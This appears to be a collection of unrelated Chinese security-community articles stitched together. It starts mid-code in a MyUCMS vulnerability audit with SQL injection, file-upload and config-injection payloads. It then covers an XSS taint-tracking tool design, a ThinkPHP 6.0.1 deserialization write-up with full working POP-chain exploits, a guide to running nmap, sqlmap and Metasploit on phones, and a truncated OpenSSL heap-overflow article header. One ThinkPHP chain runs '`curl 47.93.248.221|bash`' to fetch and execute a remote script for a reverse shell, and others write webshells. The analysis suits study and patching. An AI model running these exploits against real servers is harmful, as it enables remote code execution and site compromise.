return json(array('code' => 0, 'msg' => '标记已读失败'));
}
}elseif ($ids==1){
$id = input('id');
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
return json(array('code' => 200, 'msg' => '彻底删除成功'));
} else {
return json(array('code' => 0, 'msg' => '彻底删除失败'));
}
}
}
}
上述代码中， **where()**
方法使用字符串条件，但并没有执行预编译。其实针对字符串条件，官方手册是做了说明的，显然这里没有遵守官方手册的意见，所以造成了SQL注入。
### Payload
Payload如下
Payload: id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1) and (1
在下图所示位置打上断点，即可查执行的SQL语句
## 文件上传漏洞
CNVD 上对应的标题为 **myucms fo***.php页面存在文件上传漏洞**
搜索项目中fo开头的文件，定位到 **application/admin/controller/Forum.php** 中的 **doUploadPic**
方法
public function doUploadPic()
{
$file = request()->file('FileName');
$info = $file->move(ROOT_PATH . DS . 'uploads');
if($info){
$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
echo str_replace("\\","/",$path);
}
}
可以看到上述代码调用了 **Thinkphp** 内置的 **move** 方法来对上传的文件进行处理。但是在调用 **move** 方法前未调用
**validate()** 方法来设置验证规则。以至于此处形成了任意文件上传漏洞。
### Payload
根据 **doUploadPic()** 方法构建 **Payload数据包** 如下：
POST /admin/forum/doUploadPic HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904
Upgrade-Insecure-Requests: 1
Content-Length: 206
-----------------------------18467633426500
Content-Disposition: form-data; name="FileName"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
-----------------------------18467633426500--
## 命令执行
CNVD上没有说明存在的页面。我找到的是一处能控制 **extre/web.php** 内容的漏洞。
漏洞成因是使用 **file_put_contents** 函数更新 **extre**
下配置文件的内容时，未对参数内容做验证，而直接通过循环遍历，拼接到了php后缀的配置文件中。
相同原理漏洞影响3个文件共5处。分别为 **application/admin/controller/Config.php** ，
**application/admin/controller/Muban.php** ，
**application/admin/controller/Point.php**
此处以 **application/admin/controller/Config.php** 下的 **add()** 方法为例分析
public function add()
{
$path = 'application/extra/web.php';
$file = include $path; // $file 的内容为 web.php 中返回的配置数组的值
$config = array( // 读取 post 中提交的配置内容
'WEB_RXT' => input('WEB_RXT'),
'WEB_GL' => input('WEB_GL'),
'WEB_REG' => input('WEB_REG'),
'WEB_TAG' => input('WEB_TAG'),
'WEB_OPE' => input('WEB_OPE'),
'WEB_BUG' => input('WEB_BUG'),
'WEB_BBS' => input('WEB_BBS'),
'WEB_SHOP' => input('WEB_SHOP'),
'WEB_INDEX' => input('WEB_INDEX'),
'WEB_KEJIAN' => input('WEB_KEJIAN'),
'WEB_KEJIANS' => input('WEB_KEJIANS'),
'Cascade' => input('Cascade'),
//七牛
'bucket' => input('bucket'),
'accessKey' => input('accessKey'),
'secrectKey' => input('secrectKey'),
'domain' => input('domain'),
'qiniuopen' => input('qiniuopen'),
);
$res = array_merge($file, $config); // 合并两个数组
$str = '<?php return [';
foreach ($res as $key => $value) { // 循环数组，生成新的配置内容
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) { // 将配置内容写入 web.php 文件
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}
### Payload
Payload数据包如下：
POST /admin/config/add.html HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 327
Origin: http://www.myu.io
Connection: close
Referer: http://www.myu.io/admin/config/index.html
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904; XDEBUG_SESSION=XDEBUG_ECLIPSE
WEB_KEJIAN=0&WEB_KEJIANS=0&WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,zip,jpg,gif,ico,7z&qiniuopen=0&secrectKey=0&accessKey=0&domain=0&bucket=0&Cascade=1&WEB_BUG=true&WEB_REG=1&WEB_OPE=1&WEB_GL=0&WEB_BBS=1&WEB_SHOP=1&WEB_TAG=%e6%8f%92%e4%bb%b6%2c%e5%bb%ba%e8%ae%ae%2c%e6%a8%a1%e6%9d%bf%2c%e7%ad%be%e5%88%b0%2c%e5%8f%8d%e9%a6%88
写入的内容和效果如下：
# 结束
限于水平有限，有些 **CNVD** 上有记录到的洞没分析到，望海涵。 | 社区文章 |
## 1\. 序
我在之前的一篇[文章](https://lylemi.github.io/2019/04/06/Web-Application-Auto-Audit/)中简单讲解了Web应用代码自动化审计的几种实现方式。
这篇文章以自动化辅助挖掘XSS漏洞漏洞为例，简单的讲解一个实际的灰盒分析实现的例子。
在上文中有提到到，漏洞可以认为是输入到危险函数的过程，所以这篇文章涉及到的主要是输入、危险函数、具体实现这三个部分。
## 2\. 输入
作为污点来源的输入主要考虑当前状态、网络请求和存储函数三个来源。
当前状态主要指像窗口名、当前Url、Hash、referr等，具体对应如下这些变量：
* `window.name`
* `window.location.href`
* `window.location.search`
* `window.location.hash`
* `window.location.pathname`
* `window.location.url`
* `document.URL`
* `document.documentURI`
* `document.URLUnencoded`
* `document.baseURI`
* `document.referrer`
网络请求主要指使用异步方式获取的请求及其响应，这部分可以通过hook `XMLHttpRequest` `fetch` 等API来获取。
存储主要指Cookie、Indexdb、localStorage、sessionStorage等。
部分输入在网页初始化时已经确定，这部分由程序记录下来。部分输入会不断变化，如cookie等，这部分输入会通过插桩、事件处理等方式进行监控，并实时对变化进行记录。
## 3\. 危险函数
这里把危险函数分为直接执行JavaScript、加载URL、执行HTML、创建元素、部分可控执行五类，具体涉及到的函数与相关模式如下。
### 3.1 直接执行JavaScript
这类危险函数直接把输入以JavaScript代码的形式执行，例如。
* `eval(payload)`
* `setTimeout(payload, 100)`
* `setInterval(payload, 100)`
* `Function(payload)()`
* `<script>payload</script>`
* `<img src=x onerror=payload>`
### 3.2 加载URL
这类危险函数以URL加载的形式执行JavaScript代码，但是大体和JavaScript类似。
* `location=javascript:alert(/xss/)`
* `location.href=javascript:alert(/xss/)`
* `location.assign(javascript:alert(/xss/))`
* `location.replace(javascript:alert(/xss/))`
### 3.3 执行HTML
这类危险函数直接把输入以HTML代码的形式执行，在一定情况下可以执行代码。
* `xx.innerHTML=payload`
* `xx.outerHTML=payload`
* `document.write(payload)`
* `document.writeln(payload)`
### 3.4 创建元素
这类调用大多是创建一个DOM元素，并将其加入页面中。当script的源可控或者元素的构造可控的时候，可能会出现问题。
* `scriptElement.src`
* `domElement.appendChild`
* `domElement.insertBefore`
* `domElement.replaceChild`
### 3.5 部分可控执行
这类调用存在一定的动态成分，可控的程度不高，但是在部分情况下存在价值，因此在工具中加入了对其的监控。
* `(new Array()).reduce(func)`
* `(new Array()).reduceRight(func)`
* `(new Array()).map(func)`
* `(new Array()).filter(func)`
## 4\. 整体架构
### 4.1 污点追踪
污点追踪的实现有两种思路，一种思路是hook浏览器native的实现，但是这种方法要求对浏览器本身的实现机制有比较好的了解，而且编译过程复杂，很难迁移。浏览器一旦更新，就需要修改大量的代码来适应。
另外一种思路是基于浏览器插件做JavaScript层的Hook，这种方式虽然没有浏览器源代码层的hook底层，但是开发更快，更容易迁移，在有新的机制出现时也比较容易适应。
Chrome插件中，代码分在content-script、background、popup等运行时中。其中只有content-script可以操纵宿主页面的DOM，但是宿主页面JavaScript和content-script也在不同的沙箱中，无法hook，只能使用注入的方式。
在hook后，当出现危险函数的调用或网络请求时，则将其记录至后台。
### 4.2 疑似利用确认
和很多漏洞不同，大部分存储型的漏洞是没有回显的，因此需要做一定的确认工作。
在获取信息后，以域名为单位。遍历sink和source，查找重合的地方。如果source在sink的参数中出现，就可能是漏洞点。需要注意的是，除了hash之外，网络请求等各种参数不一定可控。另外，需要去除同一域名下，同一参数同一调用的Sink，同一源和同一返回的结果，减少重复数据。
在具体确认的时候，考虑到，sink中的参数可能是source的一部分，source中也可能只是sink的一部分，因此使用公共子字符串算法，只要字串的长度小于sink和source最小的长度。
不过即使完全可控，也可能出现waf、sanitizer、难以绕过的csp策略等。因此这种方法会有比较高的误报率，但是相对的，在hook较全的情况下，漏报率会小很多。
除了上面提到的这种方式，工具还采取了动态污染的方式。通过修改请求参数和修改函数调用时的参数两种方式，传入一些测试性的payload，如果在返回界面获取到了相信的结果，那么漏洞就是存在的。
### 4.3 结果查看
这里考虑过直接用插件自带的界面popup /
background来显示可能的结果，用浏览器层的localstorge存储数据，但是考虑这种方式会影响浏览器间迁移的兼容性。
于是最后单独用vuejs + django编写了一个小的站点来接收请求，查看结果。
## 5\. 参考链接
* [基于chrome扩展的脚本注入工具](https://zhuanlan.zhihu.com/p/27427557)
* [让前端监控数据采集更高效](https://segmentfault.com/a/1190000018918875)
* [Web应用代码自动化审计浅谈](https://lylemi.github.io/2019/04/06/Web-Application-Auto-Audit/) | 社区文章 |
# thinkphp6.0x反序列化复现及再挖掘
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境搭建
复现环境:thinkphp6.0.1
php:7.3.4
thinkphp6只能通过composer安装还不能安装旧版本可以到这里去下载
<https://www.jsdaima.com/blog/205.html>
php think run
在app/controller/Index.php下添加控制器
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if(isset($_POST['data'])){
unserialize(base64_decode($_POST['data']));
}else{
highlight_file(__FILE__);
}
}
}
## 第一条链子
### 漏洞分析
在 ThinkPHP5.x 的POP链中，入口都是 think\process\pipes\Windows 类，通过该类触发任意类的`__toString`
方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类，而POP链 `__toString` 之后的
Gadget 仍然存在，所以我们得继续寻找可以触发`__toString`方法的点
寻找destruct方法,定位到了
vendor\topthink\think-orm\src\Model.php
发现$this->lazySave参数可控,这样就可以去调用save函数
跟进save()
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
发现这句语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
不过要执行到这句语句需要满足一个if判断条件,否则会直接返回false
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
跟进isEmpty()
$this->data只要不为空即可,然后`$this->trigger('BeforeWrite')`的值需要为true
跟进trigger()
直接让$this->withEvent的值为false进入if返回true即可
这样就执行到了三目运算符语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
分别跟进updateData和insertData去寻找可利用的地方
跟进updateData
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->startTrans();
try {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
$db->commit();
// 更新回调
$this->trigger('AfterUpdate');
return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}
根据poc指向下一个利用点是checkAllowFields
但是要进入并调用该函数，需要先通过前面两处的if语句
第一个if我们开始已经让$this->trigger()的返回值为true了,不用进入这个if
第二个if要判断$data是否为空,这就要跟进getChangeData去看看了
跟进getChangeData
值需要让$this->force为true就可以直接返回可控的$data,然后不为空就可以不用进入第二个if
跟进一下checkAllowFields
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
当$this->field不为空并且$this->schema为空的时候可以调用db函数
跟进db
这里有拼接字符串操作,$this->name和$this->suffix只要为对应的类名就可以去调用`__toString`了
调用链如下
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix（字符串拼接）——>toString()
`__toString`的话就可以直接用tp5的后半段链子,只是有一点点不同而已
不过这里还有一个问题,Model是一个抽象类,不能实例化
我们需要去找他的一个子类Pivot (src/model/Pivot.php)进行实例化
问题解决了就来跟进`__toString`方法了
定位到
vendor\topthink\think-orm\src\model\concern\Conversion.php
跟进toJson
跟进toArray()
对 $data进行遍历，其中 $key 为 $data 的键。默认情况下，会进入第二个 elseif 语句，从而将 $key 作为参数调用
getAttr() 方法。
跟进getAttr()
先回调用getData,跟进一下
跟进getRealFieldName
直接返回一个值,这里的$this->strict可控,只要为true就返回$name的值,而$name是刚才传进来的$key
所以这里就相当于返回$name
回到getData函数
这里就相当于直接返回了应该$this->data[$key]
回到getAttr函数,下一步会调用getValue
跟进getValue
看到这里是一个可用rce的点
$value = $closure($value, $this->data);
先判断是否存在$this->withAttr[$fieldName]这里的$this->withAttr[$fieldName]并不是数组所以会进入else语句
执行到
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
$this->withAttr[$fieldName]和$this->data是可控的,而$this->data即是他的键值
那只要让$closure=’system’然后$value为要执行的命令即可
$value的值是在getData里面可以控制的
都能控制,那这样就可以去rce了
### 漏洞复现
poc如下
<?php
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = false;
private $exists = true;
private $data = [];
function __construct($obj)
{
$this->lazySave = true;
$this->exists = true;
$this->data = ['key' => 'whoami'];
$this->table = $obj;
$this->strict = true;
$this->visible = ["key" => 1];
}
}
namespace think\model\concern;
trait Attribute
{
private $withAttr = ["key" => "system"];
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
function __construct($obj)
{
parent::__construct($obj);
}
}
$obj1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj1)));
这里的poc中并没有看到Conversion这个类,是因为在Model类中的引用已经有Conversion这个类了,当我们实例化他的子类的时候,可以去调用了他引用里面的`__toString`方法
Attribute和Conversion这两个类与Model类是通的,所以属性可以全部在Model里面定义
自己写了个exp
<?php
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
$obj1 = new Pivot('');
echo base64_encode(serialize(new Pivot($obj1)));
}
namespace think {
use think\model\concern\Attribute;
abstract class Model
{
private $lazySave;
private $exists;
private $data = [];
private $withAttr = [];
public function __construct($obj)
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->table = $obj;
$this->data = ['key' => 'whoami'];
$this->visible = ["key" => 1];
$this->withAttr = ['key' => 'system'];
}
}
}
namespace think\model\concern {
trait Attribute
{
}
}
## 第二条链子
### 漏洞分析
寻找其他的入口点
vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php
跟进save,这是一个抽象类,所以我们应该到其子类去寻找可用的save方法
src/think/filesystem/CacheStore.php
其实我看了看另外几个save方法,就这个最简单了
$this->store可控,可以去调用任意类的set方法,没有则调用`__call`
这里先出发去找可用的set方法
定位到src/think/cache/driver/File.php
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
跟进getExpireTime
发现没什么可用的
跟进getCacheKey
这里其实就是为了查看进入该方法是否出现错误或者直接return了
所以这里`$this->options['hash_type']`不能为空
返回了一个字符拼接的值,`$this->options['path']`可控,又可以去调用上一条链子的`__toString`
### 漏洞复现
poc
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave;
public function __construct()
{
$this->autosave = false;
}
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $expire;
protected $key;
public function __construct()
{
$this->store = new File();
$this->expire = 1;
$this->key = '1';
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
use think\model\Pivot;
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => new Pivot(),
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace think {
use think\model\concern\Attribute;
abstract class Model
{
private $data = [];
private $withAttr = [];
public function __construct()
{
$this->data = ['key' => 'whoami'];
$this->visible = ["key" => 1];
$this->withAttr = ['key' => 'system'];
}
}
}
namespace think\model\concern {
trait Attribute
{
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
## 第三条链子
### 漏洞分析
回到上一条链子的set方法
当我们退出getCacheKey后往下面走会进入一个serialize方法
跟进serialize
这里的`$this->options['serialize']`可控,绕过$data的值可控的话就可以去RCE
回到前面可控$data怎么来的
serialize方法的参数值是set方法的$value
继续回溯到set方法前面的save方法看看$value是如何来的
是$content的值,跟进getForStorage()
返回一个json格式的数据
所以这里$data是一个被处理后的json数据,不过system函数能够处理json数据
不过这里只有linux系统适用,因为反引号在window不起作用
### 漏洞复现
poc
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`curl xxx.xxx.xxx.xxx|bash`";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store = "")
{
$this->store = $store;
}
}
}
namespace think\cache {
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace {
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
这里执行命令虽然不知道为什么没有回显，但是可以curl去反弹shell
bash并没有反弹成功
成功反弹shell
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`curl 47.93.248.221|bash`";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $key = "1";
public function __construct()
{
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver
{
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
## 第四条链子
### 漏洞分析
继续回到set方法往下走
发现一个file_put_contents函数
$filename是getCacheKey()的返回值
跟进getCacheKey()
`$this->options['path']`和$name都是可控的,那文件名就可控了
然后就直接让`$this->options['hash_type']`为md5,`$this->options['path']`为filter过滤器,$name=1
文件名就是1的md5编码了
两个if可以控制参数不进入即可
文件名可控了,再回过头来看$data的值
serialize方法返回了第一个$data的值,跟进serialize方法
第三条链子已经提到了这么去控制这个返回值了,所以这里返回值也是可控的
不过$serialize的值需要是一个函数,并且不影响$data的值,这里可以用trim函数
可以看看效果
<?php
$a = json_encode([[], 'dasdasdsa']);
echo $a;
echo trim($a);
而json_decode反而会让这里抛出异常
回到set继续往下看
这里还有一个字符串拼接,前面标签内的东西可以直接用`php://filter`过滤器去除了所以写入的内容就是前面serialize方法返回的值
然后就是写入shell了
其实这里字符拼接,$data可控也是可以去调用toString的
### 漏洞复现
poc
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOz8+";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $key = "1";
public function __construct()
{
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver
{
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 1,
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['trim']
];
}
}
写入了文件,在public目录下
## 第五条链子
### 漏洞分析
入口点还是
vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php
之前提到过,这是一个抽象类,他有几个子类对这个save方法进行了重写
之前我们找的是这下面的save方法
再看看其他的save方法,定位到src/Storage/Adapter.php
$this->file是可控的,$contents是getForStorage方法的返回值
跟进看看
和之前的有点类似,返回一个json格式的数组
这里可以去想办法去找到可用的call方法 ,或者可用的has方法
还有一种,就是找到一个类同时存在has方法和可用的update方法和write方法
定位到src/Adapter/Local.php
同时存在以上三个方法
看has方法
public function has($path)
{
$location = $this->applyPathPrefix($path);
return file_exists($location);
}
判断文件是否存在
跟进applyPathPrefix
跟进getPathPrefix
直接返回一个可控值$this->pathPrefix
如果$this->pathPrefix为空,applyPathPrefix的返回值就是$path
$path是之前可控的$this->file
这里只有构建一个不存在的文件名即可进入save方法的if
跟进write
有一个file_put_contents
$location的值和刚才一样已经分析过了
然后进入if判断，$content的值也是可控的,这里就可以用来写文件
占尽天时地利人和,下一步就是写马了
### 漏洞复现
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'DawnT0wn.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$a = new Local();
$b = new Adapter($a);
echo base64_encode(serialize($b));
成功写入
不过这里不能控制complete的值去写入,里面应该是会检验php标签
其实这里后半部分的gadget还在,只要找到可控的字符拼接这种类型的都可以去调用到后面的toString,在复现过程中,看到了几个地方都可以去调用toString的,不过只写了第二条链子
参考链接
<https://whoamianony.top/2020/12/31/>
<https://xz.aliyun.com/t/10396#toc-3> | 社区文章 |
渗透测试人员都习惯一台笔记本走天下，但有的时候笔记本还是太大，一些地方用笔记本做渗透测试还是太招摇，而且有的时候也不会随身都带笔记本。这时如果可以利用随身携带的手机进行渗透，想想都很酷。众所周知，手机版的kali就是Kali
NetHunter，但这神器一是要刷机，二是适配的手机非常少，三是即使刷成功了，那你手机上原来的各种软件就不那么好用了。今天跟大家分享一下如何在手机（Android&IOS）上不刷机、免root安装nmap、sqlmap、msf等工具，将手机改造成移动渗透利器。
## Android 篇
### 0x01 安装Termux
Termux是一款开源且不需要root，运行在Android终端上极其强大的linux模拟器，支持apt管理软件包，完美支持python,ruby,go,nodejs。
termux 下载: <https://github.com/termux/termux-app>
termux 官网：<https://termux.com/>
安装第一次打开会显示下图：
注意，安装完成后要进行权限设置，Termux只有一个存储权限，记得打开，否则Termux会一直如上图一样旋转；
安装完毕，Termux登场：
### 0x02 Termux基本使用
* Termux界面长按屏幕，显示菜单项（包括返回、复制、粘贴、更多），此时屏幕出现可选择的复制光标。
* Termux界面从左向右滑动，显示隐藏式导航栏，可以新建、切换、重命名会话session和调用弹出输入法
常用快捷键：
音量-键(Ctrl)+L 清除屏幕内容
音量-键(Ctrl)+C 终止当前操作
音量-键(Ctrl)D 退出当前会话session
音量+键+D Tab键（可自动补全命令或文件名）
音量+键+W 方向键 上（可显示前一条命令）
音量+键+S 方向键 下（可显示后一条命令）
音量+键+A 方向键 左（可左移动光标）
音量+键+D 方向键 右（可右移动光标）
音量+键+Q 显示或关闭扩展键（ESC、插入链接CTR、ALT、TAB、-、/、|以及左滑扩展键一栏可切换到全功能支持手机输入法的输入框）
常用命令（和linux基本类似）：
apt update 更新源
apt search <query> 全文搜索可安装包
apt install <package> 安装软件包
apt upgrade 升级软件包
apt show <package> 显示软件包的信息
apt list [--installed] 列出所有（或已安装）的软件包信息
apt remove <package> 删除软件包
chmod 修改文件权限
chown 修改文件归属
...
### 0x03 打造Android渗透神器
1、更新源：
apt update && apt upgrade
cd ..
cd usr/etc/apt
vim sources.list
修改源：
deb [arch=all,aarch64] http://mirrors.tuna.tsinghua.edu.cn/termux stable main
apt update
2、安装nmap
apt install nmap
很方便，完成后在手机上出现熟悉界面：
3、安装sqlmap
首先安装运行sqlmap所需要的包python2，以及clone GitHub包的git包
apt install python2 git
git clone https://github.com/sqlmapproject/sqlmap
时间略长，完成后在手机上出现熟悉界面：
4、安装msf
首先安装wget：
pkg install wget
下载msf安装脚本：
wget https://Auxilus.github.io/metasploit.sh
运行安装脚本：
sh metasploit.sh
这个过程比较慢，大概需要40分钟左右，成功后，在手机中出现熟悉的界面：
## IOS 篇
### 0x01 安装iSH
iSH是一个使用usermode x86模拟器将Linux shell引入IOS设备的工具，基于Alpine
Linux，该程序占用空间小，具备一定的安全性且易于上手。不过目前iSH还处于测试阶段，部分功能还不完善。
iSH github地址：<https://github.com/tbodt/ish>
由于目前iSH还是beta版，所以想要在IOS设备上安装iSH，首先需要安装APP TestFlight，它可以帮助开发人员测试 Beta 版
App。TestFlight运行环境要求： iOS 8 或更高版本的 iPhone、iPad 或 iPod touch。
安装TestFlight后，打开链接： <https://testflight.apple.com/join/97i7KM8O>
，然后点击“开始测试”，如图所示，就可以打开TestFlight并收到加入iSH测试版的邀请了。
安装iSH完毕后，出现iSH界面：
### 0x02 iSH基本使用
iSH自带了多功能键盘：
上图中的四个图标分为是：TAB键、Shift键、ESC键以及可以滑动的方向键，结合手机的键盘，基本可以满足shell的一些操作。
常用命令：
apk update 更新源
apk search <query> 全文搜索可安装包
apk add <package> 安装软件包
apk upgrade 升级软件包
apk list [--installed] 列出所有（或已安装）的软件包信息
apk del <package> 删除软件包
chmod 修改文件权限
chown 修改文件归属
...
### 0x03 打造iOS渗透神器
1、更新源：
apk update
apk upgrade
2、安装nmap
apk add nmap
很方便，完成后在iphone手机上出现熟悉界面：
需要注意的是，在安装过程中，iphone或者ipad不能锁屏，需要在设置->显示与亮度->自动锁定 设置为为永不锁定，否则会安装失败报错。
3、安装sqlmap
首先安装运行sqlmap所需要的包python2，以及clone GitHub包的git包
apk add python2 git
git clone https://github.com/sqlmapproject/sqlmap
时间略长，完成后在ipad上出现熟悉界面：
## 其他
如果对手机的键盘不太适应，可以搭配购买便携式的蓝牙键盘，操作起来更加顺手，携带也很方便，可以说是一机在手，天下我有~
说明，本教程文章仅限用于学习和研究目的，请勿用于非法用途。 | 社区文章 |
# 【技术分享】CVE-2016-7054：OpenSSl 1.1.0a 、1.1.0b堆溢出漏洞利用
|
##### 译文声明
本文是翻译文章，文章来源：offsec.ir
原文地址：<http://offsec.ir/blog/2016/12/exploiting-cve-2016-7054-openssl-1-1-0a-and-b-heap-buffer-overflow/>
